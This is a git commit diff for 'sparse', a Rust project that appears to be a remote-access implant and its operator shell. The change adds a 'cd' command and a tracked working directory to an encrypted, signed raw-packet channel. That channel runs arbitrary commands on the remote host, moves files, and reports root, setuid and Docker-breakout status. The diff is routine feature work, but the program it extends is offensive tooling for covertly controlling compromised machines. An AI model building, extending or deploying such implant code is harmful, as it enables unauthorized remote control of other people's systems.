feat: added cd
added cd and fixed all the warnings in the source code
This commit is contained in:
parent
ae24c2e0ad
commit
726e6dff13
@ -5,10 +5,10 @@ use std::{
|
||||
sync::Arc,
|
||||
};
|
||||
|
||||
use anyhow::{bail, Context};
|
||||
use ed25519_dalek::{Keypair, Signature, Signer, Verifier};
|
||||
use anyhow::bail;
|
||||
use ed25519_dalek::{Signature, Signer, Verifier};
|
||||
use sparse_05_common::messages::{
|
||||
Capabilities, Command, OperatingSystem, Response, CONNECTED_MESSAGE, CONNECT_MESSAGE,
|
||||
Capabilities, Command, Response, CONNECTED_MESSAGE, CONNECT_MESSAGE,
|
||||
};
|
||||
use tokio::{fs, net::UdpSocket};
|
||||
|
||||
|
||||
@ -1,6 +1,5 @@
|
||||
use std::{
|
||||
io::{self, Read, Write},
|
||||
os::fd::AsRawFd,
|
||||
path::PathBuf,
|
||||
sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
@ -11,7 +10,6 @@ use std::{
|
||||
|
||||
use sparse_05_common::messages::{Capabilities, Command, Response};
|
||||
use structopt::StructOpt;
|
||||
use tempfile::NamedTempFile;
|
||||
use tokio::{
|
||||
io::{stderr, stdout, AsyncWriteExt},
|
||||
runtime::Handle,
|
||||
@ -46,7 +44,7 @@ pub enum SparseCommands {
|
||||
},
|
||||
}
|
||||
|
||||
macro_rules! libc_try {
|
||||
/*macro_rules! libc_try {
|
||||
($expr:expr) => {
|
||||
if unsafe { $expr } == -1 {
|
||||
return Err(std::io::Error::last_os_error())?;
|
||||
@ -71,7 +69,7 @@ fn set_term_attrs<F: AsRawFd>(fd: &mut F, attrs: &libc::termios) -> anyhow::Resu
|
||||
fn convert_termios_raw(attrs: &mut libc::termios) -> anyhow::Result<()> {
|
||||
unsafe { libc::cfmakeraw(attrs) };
|
||||
Ok(())
|
||||
}
|
||||
}*/
|
||||
|
||||
async fn run_command(
|
||||
stdin: &mut Receiver<Vec<u8>>,
|
||||
@ -159,11 +157,10 @@ pub(super) async fn shell(
|
||||
println!("Source code available at https://github.com/r-a303931/sparse (feel free to give it a star!)");
|
||||
println!("Type #help to view a list of sparse commands\n");
|
||||
|
||||
let mut stdin = tokio::io::stdin();
|
||||
let mut stdout = io::stdout();
|
||||
let backup_term_attrs = get_term_attrs(&stdin)?;
|
||||
/* let backup_term_attrs = get_term_attrs(&stdin)?;
|
||||
let mut raw_term_attrs = get_term_attrs(&stdin)?;
|
||||
convert_termios_raw(&mut raw_term_attrs)?;
|
||||
convert_termios_raw(&mut raw_term_attrs)?;*/
|
||||
|
||||
let mut cwd = "/".to_string();
|
||||
|
||||
@ -195,7 +192,7 @@ pub(super) async fn shell(
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
'outer: loop {
|
||||
print!(
|
||||
"{}@{}:{} {} ",
|
||||
capabilities.userent.as_deref().unwrap_or("unknown user!"),
|
||||
@ -280,6 +277,23 @@ pub(super) async fn shell(
|
||||
}
|
||||
pause.store(false, Ordering::Relaxed);
|
||||
}
|
||||
(Ok(SparseCommands::Cd { folder }), _) => {
|
||||
let Ok(_) = connection.send_command(Command::Cd(folder.clone())).await else {
|
||||
continue;
|
||||
};
|
||||
let resp = loop {
|
||||
let Ok(resp) = connection.get_response().await else {
|
||||
continue 'outer;
|
||||
};
|
||||
if let Response::CdDone(res) = resp {
|
||||
break res;
|
||||
}
|
||||
};
|
||||
match resp {
|
||||
Ok(rcwd) => cwd = rcwd.to_string_lossy().to_string(),
|
||||
Err(e) => eprintln!("{e}"),
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
if !input.to_string().trim().is_empty() && !pause.load(Ordering::Relaxed) {
|
||||
if let Err(e) = run_command(
|
||||
|
||||
@ -1,5 +1,5 @@
|
||||
use std::{
|
||||
net::{Ipv4Addr, SocketAddr, ToSocketAddrs},
|
||||
net::{SocketAddr, ToSocketAddrs},
|
||||
path::PathBuf,
|
||||
};
|
||||
|
||||
|
||||
@ -69,7 +69,7 @@ pub mod messages {
|
||||
SendStdout(Vec<u8>, u64),
|
||||
CommandDone(u64, i32),
|
||||
|
||||
CdDone,
|
||||
CdDone(Result<PathBuf, String>),
|
||||
LsResults(Vec<DirEntry>),
|
||||
|
||||
OpenedTTY(u64),
|
||||
@ -100,6 +100,7 @@ pub mod messages {
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug)]
|
||||
pub struct Capabilities {
|
||||
pub cwd: PathBuf,
|
||||
pub operating_system: OperatingSystem,
|
||||
pub docker_container: bool,
|
||||
pub docker_breakout: bool,
|
||||
|
||||
@ -1,7 +1,36 @@
|
||||
#[cfg(target_os = "linux")]
|
||||
use std::ffi::c_int;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType};
|
||||
|
||||
pub struct SrvCapabilities {
|
||||
pub operating_system: OperatingSystem,
|
||||
pub docker_container: bool,
|
||||
pub docker_breakout: bool,
|
||||
pub setuid: bool,
|
||||
pub root: bool,
|
||||
pub userent: Option<String>,
|
||||
pub transport: TransportType,
|
||||
pub hostname: Option<String>,
|
||||
}
|
||||
|
||||
impl SrvCapabilities {
|
||||
pub fn to_capabilities(&self) -> Capabilities {
|
||||
Capabilities {
|
||||
cwd: PathBuf::from("/"),
|
||||
docker_breakout: self.docker_breakout,
|
||||
docker_container: self.docker_container,
|
||||
hostname: self.hostname.clone(),
|
||||
operating_system: self.operating_system.clone(),
|
||||
root: self.root,
|
||||
setuid: self.setuid,
|
||||
transport: self.transport,
|
||||
userent: self.userent.clone(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
const CAP_SETUID: u32 = 1 << 7;
|
||||
#[cfg(target_os = "linux")]
|
||||
@ -48,12 +77,12 @@ fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||
}
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||
fn get_username(_uid: u32) -> anyhow::Result<Option<String>> {
|
||||
Ok(std::env::var("USERPROFILE").ok())
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
let mut header = cap_user_header_t {
|
||||
version: 0x20080522,
|
||||
pid: 0,
|
||||
@ -85,7 +114,7 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
.map(|s| s.trim().to_string())
|
||||
.ok();
|
||||
|
||||
Ok(Capabilities {
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: if cfg!(target_os = "linux") {
|
||||
OperatingSystem::Linux
|
||||
} else {
|
||||
@ -102,10 +131,10 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
}
|
||||
|
||||
#[cfg(target_os = "windows")]
|
||||
fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
fn get_current_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
let userent = get_username(0)?;
|
||||
|
||||
Ok(Capabilities {
|
||||
Ok(SrvCapabilities {
|
||||
operating_system: OperatingSystem::Windows,
|
||||
docker_container: false,
|
||||
docker_breakout: false,
|
||||
@ -117,6 +146,6 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||
})
|
||||
}
|
||||
|
||||
pub fn get_capabilities() -> anyhow::Result<Capabilities> {
|
||||
pub fn get_capabilities() -> anyhow::Result<SrvCapabilities> {
|
||||
get_current_capabilities()
|
||||
}
|
||||
|
||||
@ -1,6 +1,7 @@
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
net::{Ipv4Addr, UdpSocket},
|
||||
net::Ipv4Addr,
|
||||
path::PathBuf,
|
||||
sync::{
|
||||
mpsc::{channel, Receiver, Sender},
|
||||
Arc, Mutex,
|
||||
@ -8,11 +9,13 @@ use std::{
|
||||
thread,
|
||||
};
|
||||
|
||||
use anyhow::{anyhow, bail, Context};
|
||||
use anyhow::{bail, Context};
|
||||
use ed25519_dalek::{Keypair, Signature, Signer, Verifier};
|
||||
use packets::EthernetPacket;
|
||||
use sparse_05_common::messages::{Capabilities, Command, Response, CONNECTED_MESSAGE};
|
||||
|
||||
use crate::capabilities::SrvCapabilities;
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ConnectionHandle {
|
||||
packet_handler_sender: Sender<EthernetPacket>,
|
||||
@ -90,7 +93,7 @@ impl ConnectionInformation {
|
||||
}
|
||||
|
||||
pub fn spawn_connection_handler(
|
||||
capabilities: Arc<Capabilities>,
|
||||
capabilities: Arc<SrvCapabilities>,
|
||||
sign_pubkey: Arc<ed25519_dalek::PublicKey>,
|
||||
enc_pubkey: Arc<ecies_ed25519::PublicKey>,
|
||||
packet_sender: Sender<EthernetPacket>,
|
||||
@ -153,6 +156,8 @@ pub fn spawn_connection_handler(
|
||||
|
||||
let (packet_handler_sender, packet_handler) = channel();
|
||||
|
||||
let capabilities = Arc::new(Mutex::new(capabilities.to_capabilities()));
|
||||
|
||||
thread::spawn(move || {
|
||||
if let Err(e) = authenticate(capabilities, packet_handler, conninfo, close) {
|
||||
eprintln!("connection thread died: {e:?}");
|
||||
@ -165,7 +170,7 @@ pub fn spawn_connection_handler(
|
||||
}
|
||||
|
||||
fn authenticate<F: Fn()>(
|
||||
capabilities: Arc<Capabilities>,
|
||||
capabilities: Arc<Mutex<Capabilities>>,
|
||||
packet_handler: Receiver<EthernetPacket>,
|
||||
conninfo: ConnectionInformation,
|
||||
close: F,
|
||||
@ -221,7 +226,7 @@ mod download_file;
|
||||
mod upload_file;
|
||||
|
||||
fn handle_full_connection<F>(
|
||||
capabilities: Arc<Capabilities>,
|
||||
capabilities: Arc<Mutex<Capabilities>>,
|
||||
packet_handler: Receiver<EthernetPacket>,
|
||||
conninfo: ConnectionInformation,
|
||||
close: F,
|
||||
@ -253,19 +258,29 @@ where
|
||||
|
||||
match data {
|
||||
Command::RunCommand(comm) => {
|
||||
let Ok(cap_lock) = capabilities.lock() else {
|
||||
continue;
|
||||
};
|
||||
let cwd = cap_lock.cwd.clone();
|
||||
drop(cap_lock);
|
||||
let commands_clone = commands.clone();
|
||||
let Ok(mut lock) = commands.lock() else {
|
||||
continue;
|
||||
};
|
||||
|
||||
let handler =
|
||||
match command::spawn_command(&s, comm, conninfo.clone(), commands_clone) {
|
||||
Ok(handler) => handler,
|
||||
Err(e) => {
|
||||
eprintln!("error spawning command: {e:?}");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
let handler = match command::spawn_command(
|
||||
&s,
|
||||
comm,
|
||||
conninfo.clone(),
|
||||
commands_clone,
|
||||
cwd,
|
||||
) {
|
||||
Ok(handler) => handler,
|
||||
Err(e) => {
|
||||
eprintln!("error spawning command: {e:?}");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
lock.insert(handler.id, handler);
|
||||
}
|
||||
@ -279,7 +294,43 @@ where
|
||||
}
|
||||
}
|
||||
|
||||
Command::Cd(_) => {}
|
||||
Command::Cd(path) => {
|
||||
let Ok(mut lock) = capabilities.lock() else {
|
||||
let Ok(pkt) = conninfo.encrypt_and_sign_resp(Response::CdDone(Err(
|
||||
"could not get cwd lock".to_string(),
|
||||
))) else {
|
||||
continue;
|
||||
};
|
||||
let _ = conninfo.send(pkt);
|
||||
continue;
|
||||
};
|
||||
|
||||
let mut path_base = lock.cwd.clone();
|
||||
|
||||
let path = PathBuf::from(path);
|
||||
path_base.extend(&path);
|
||||
let path_to_use = match std::fs::canonicalize(&path) {
|
||||
Ok(p) => p,
|
||||
Err(_) => path_base,
|
||||
};
|
||||
if let Err(e) = std::fs::metadata(&path_to_use) {
|
||||
let Ok(pkt) = conninfo.encrypt_and_sign_resp(Response::CdDone(Err(
|
||||
format!("could not cd into directory ({e:?})"),
|
||||
))) else {
|
||||
continue;
|
||||
};
|
||||
let _ = conninfo.send(pkt);
|
||||
continue;
|
||||
};
|
||||
|
||||
lock.cwd = path_to_use.clone();
|
||||
|
||||
let Ok(pkt) = conninfo.encrypt_and_sign_resp(Response::CdDone(Ok(path_to_use)))
|
||||
else {
|
||||
continue;
|
||||
};
|
||||
let _ = conninfo.send(pkt);
|
||||
}
|
||||
Command::Ls(_) => {}
|
||||
|
||||
Command::OpenTTY => {}
|
||||
|
||||
@ -1,6 +1,7 @@
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
io::{Read, Write},
|
||||
path::PathBuf,
|
||||
process::{Command, Stdio},
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
@ -28,6 +29,7 @@ pub(super) fn spawn_command<'a, 'b: 'a>(
|
||||
command: String,
|
||||
conninfo: ConnectionInformation,
|
||||
command_map: Arc<Mutex<HashMap<u64, CommandHandler>>>,
|
||||
cwd: PathBuf,
|
||||
) -> anyhow::Result<CommandHandler> {
|
||||
let (data_sender, data_receiver) = channel();
|
||||
|
||||
@ -57,6 +59,7 @@ pub(super) fn spawn_command<'a, 'b: 'a>(
|
||||
.stdin(Stdio::piped())
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::piped())
|
||||
.current_dir(cwd)
|
||||
.spawn()?;
|
||||
|
||||
let resp = Response::AckRunCommand(id);
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
fs::{self, OpenOptions},
|
||||
fs::OpenOptions,
|
||||
io::Read,
|
||||
path::PathBuf,
|
||||
sync::{
|
||||
@ -9,7 +9,6 @@ use std::{
|
||||
Arc, Mutex,
|
||||
},
|
||||
thread::Scope,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use sparse_05_common::messages::{Response, FILE_BUFFER_BUFFER_SIZE, FILE_TRANSFER_PACKET_SIZE};
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
fs::{self, OpenOptions},
|
||||
fs::OpenOptions,
|
||||
io::Write,
|
||||
path::PathBuf,
|
||||
sync::{
|
||||
|
||||
@ -1,9 +1,8 @@
|
||||
use std::{
|
||||
net::{Ipv4Addr, SocketAddrV4, UdpSocket},
|
||||
sync::Arc,
|
||||
thread,
|
||||
};
|
||||
use std::net::{Ipv4Addr, SocketAddrV4, UdpSocket};
|
||||
#[cfg(target_os = "linux")]
|
||||
use std::{sync::Arc, thread};
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
use anyhow::{anyhow, bail};
|
||||
|
||||
use packets::{self, EthernetPkt};
|
||||
@ -80,7 +79,7 @@ impl Interface {
|
||||
pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> {
|
||||
match self {
|
||||
#[cfg(target_os = "linux")]
|
||||
Self::RawUdp(interface, port) => {
|
||||
Self::RawUdp(interface, _) => {
|
||||
let arc = Arc::new(interface);
|
||||
Ok((
|
||||
InterfaceSender::RawUdp(Arc::clone(&arc)),
|
||||
@ -173,6 +172,7 @@ impl InterfaceReceiver {
|
||||
},
|
||||
};
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user